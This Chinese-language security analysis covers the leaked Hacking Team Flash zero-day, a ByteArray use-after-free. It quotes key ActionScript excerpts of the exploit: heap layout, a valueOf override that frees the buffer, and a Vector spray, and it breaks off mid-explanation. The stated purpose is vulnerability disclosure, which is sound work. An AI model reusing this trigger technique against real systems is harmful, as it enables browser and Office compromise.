Hacking Team攻擊程式碼分析

wyzsk發表於2020-08-19
作者: 360安全衛士 · 2015/07/07 14:04

作者:360Vulcan Team成員Yuki Chen

攻擊程式碼分析Part 1: Flash 0day

0x00 前言


最近專門提供透過攻擊手法進行網路監聽的駭客公司Hacking Team被黑,包含該公司的郵件、文件和攻擊程式碼的400G資料洩漏。360Vulcan Team第一時間獲取了相關資訊,並對其中的攻擊程式碼進行了分析。

我們發現其中至少包含了兩個針對Adobe Flash的遠端程式碼執行漏洞和一個針對微軟Windows核心字型許可權提升漏洞的完整攻擊程式碼(exploit)。其中一個Flash漏洞已經在今年4月修補,其他兩個漏洞都未修復。

其中Flash漏洞exploit被設計為可以針對IE、Chrome瀏覽器和Office軟體進行攻擊。攻擊者透過嵌入精心構造的惡意Flash檔案到網頁或Office文件中,使得訪問特定網頁或開啟Office文件的使用者感染惡意程式碼。同時,這些惡意程式碼透過結合Windows核心字型許可權提升漏洞,可以繞過IE(保護模式或增強保護模式)、Chrome(Chrome Sandbox,< Chrome 43)和Office(保護模式)的沙盒保護,完全控制使用者的電腦。

360Vulcan Team對這些漏洞進行分析,並分為三個部分將這些0day的資訊共享給安全社群,希望軟體廠商和安全廠商共同行動,儘快修補和防禦著這些“在野”的0day漏洞。

Flash 0day -ActionScript ByteArray Buffer Use After Free

看起來HackingTeam的遠端exploit工具中廣泛使用了同一個flash漏洞(攻擊目標可以是IE、Chrome、Office系列):

enter image description here

初步分析這個Exploit之後,我們發現這個Exploit在最新版本的Adobe Flash(18.0.0.194)中仍然可以觸發,因此這應該是一個0day漏洞。

0x01 漏洞原理分析


這個漏洞成因在於,Flash對ByteArray內部的buffer使用不當,而造成Use After Free漏洞。

我們來看一下HackingTeam洩露的exploit程式碼,關鍵部分如下:

1 定義ByteArray

#!c
for(var i:int; i < alen; i+=3){
                    a[i] = new Class2(i);

                    a[i+1] = new ByteArray();
                    a[i+1].length = 0xfa0;

                    a[i+2] = new Class2(i+2);
                }

首先定義一系列的ByteArray,這些ByteArray初始大小被設定成0xfa0,ActionScript內部會為每個Buffer分配0x1000大小的記憶體。

2 給ByteArray元素賦值:

#!c++
_ba = a[i];
                    // call valueOf() and cause UaF memory corruption 
                    _ba[3] = new Clasz();

這一步是觸發漏洞的關鍵,由於ByteArray的元素型別是Byte,當把Clasz類賦值給ByteArray3時,AVM會試圖將其轉化為Byte,此時Clasz的valueOf函式將被呼叫:

#!c++
prototype.valueOf = function()
        {
            ref = new Array(5);
            collect.push(ref);

            // realloc
            _ba.length = 0x1100;

            // use after free
            for (var i:int; i < ref.length; i++)
                ref[i] = new Vector.<uint>(0x3f0);

            return 0x40
        }

在valueOf函式中,最關鍵的一部是更改了ByteArray的長度,將其設定成為0x1100,這個操作將會觸發ByteArray內部buffer的重新分配,舊的buffer(大小為0x1000)將會被釋放。緊接著exploit程式碼會分配若干個vector

相關文章